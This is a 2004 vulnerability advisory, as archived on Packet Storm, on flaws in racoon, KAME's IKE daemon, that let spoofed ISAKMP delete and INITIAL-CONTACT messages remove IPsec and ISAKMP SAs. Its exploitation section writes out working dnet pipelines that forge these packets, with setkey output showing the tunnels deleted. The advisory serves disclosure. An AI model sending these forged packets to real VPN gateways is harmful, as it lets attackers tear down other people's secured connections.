what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

racoon.txt

racoon.txt
Posted Jan 14, 2004
Authored by Thomas Walpuski

racoon, KAME's IKE daemon, contains multiple flaws which allow for the unauthorized deletion of IPsec and ISAKMP SAs.

tags | advisory
SHA-256 | cbe0353e2d61b2cc2f27aba78a849a48ebb7737a512565da9ec47b3e188ecf13

racoon.txt

Change Mirror Download
0 Preface

Now that most bugs in isakmpd that allowed for unauthorized SA
deletion are "fixed", it's time to release some information on racoon.

By the way: About 5 months ago I tried to contact the KAME developers.

1 Description

racoon, KAME's IKE daemon, contains some flaws, that allow for
unauthorized deletion of IPsec (and ISAKMP) SAs.

2 Description

2.1 racoon's "authentication" of delete messages

When racoon receives a delete message containing the initiator
cookie of a main/aggressive/base mode, that has not yet setup a
ISAKMP SA, it fulfills the request, if the message also includes a
(dummy) hash payload and originates from the right IP address. See
isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_ipsec_spi(),
isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for
details and amusement.

2.2 INITIAL-CONTACT with racoon

It is nearly the same with INITIAL-CONTACT notifications, but there
is no need of a (dummy) hash payload and it's way more effective,
because it deletes all IPsec SAs "relatived to the destination
address". See isakmp_info_recv_n() and info_recv_initialcontact() in
isakmp_inf.c for additional information.

3 Affected Systems

All versions of racoon are affected.

4 Leveraging the Issues ..

Take a look at http://securityfocus.com/archive/1/348637 for the
assumed scenario.

4.1 .. using delete messages

An IPsec tunnel between vpn-gw-a and vpn-gw-a is established:

vpn-gw-a# setkey -D
<vpn-gw-a's IP address> <vpn-gw-b's IP address>
esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)
[..]
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
[..]

The attacker launches step 1 of his attack. He pretends to initiate a
phase 1 exchange (with spoofed source IP address, of course):

attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x01\x10\x02\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x48" \
> "\x00\x00\x00\x2c" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x20" \
> "\x01\x01\x00\x01" \
> "\x00\x00\x00\x18" \
> "\x00\x01\x00\x00" \
> "\x80\x01\x00\x05" \
> "\x80\x02\x00\x02" \
> "\x80\x03\x00\x01" \
> "\x80\x04\x00\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send

If racoon finds the included proposal acceptable it creates a state.
Now the attacker carries out step 2:

attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x08\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x30" \
> "\x0c\x00\x00\x04" \
> "\x00\x00\x00\x10" \
> "\x00\x00\x00\x01" \
> "\x03\x04\x00\x01" \
> "\xf6\x05\x99\x79" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send

It seems that racoon knows the attacker ;-):

vpn-gw-a# setkey -D
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
[..]

Note: You can also delete ISAKMP SAs.

4.2 .. using INITIAL-CONTACT

The IPsec tunnel is up an running:

vpn-gw-a# setkey -D
<vpn-gw-a's IP address> <vpn-gw-b's IP address>
esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)
[..]
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)
[..]

Again the attacker does step 1 and injects an ISAKMP message like
this:

attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x0b\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x28" \
> "\x00\x00\x00\x0c" \
> "\x00\x00\x00\x01" \
> "\x01\x00\x60\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send

racoon blindly obeys the attacker's command:

vpn-gw-a# setkey -D
No SAD entries.

5. Bug fixes

There are no bug fixes.

Thomas Walpuski
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close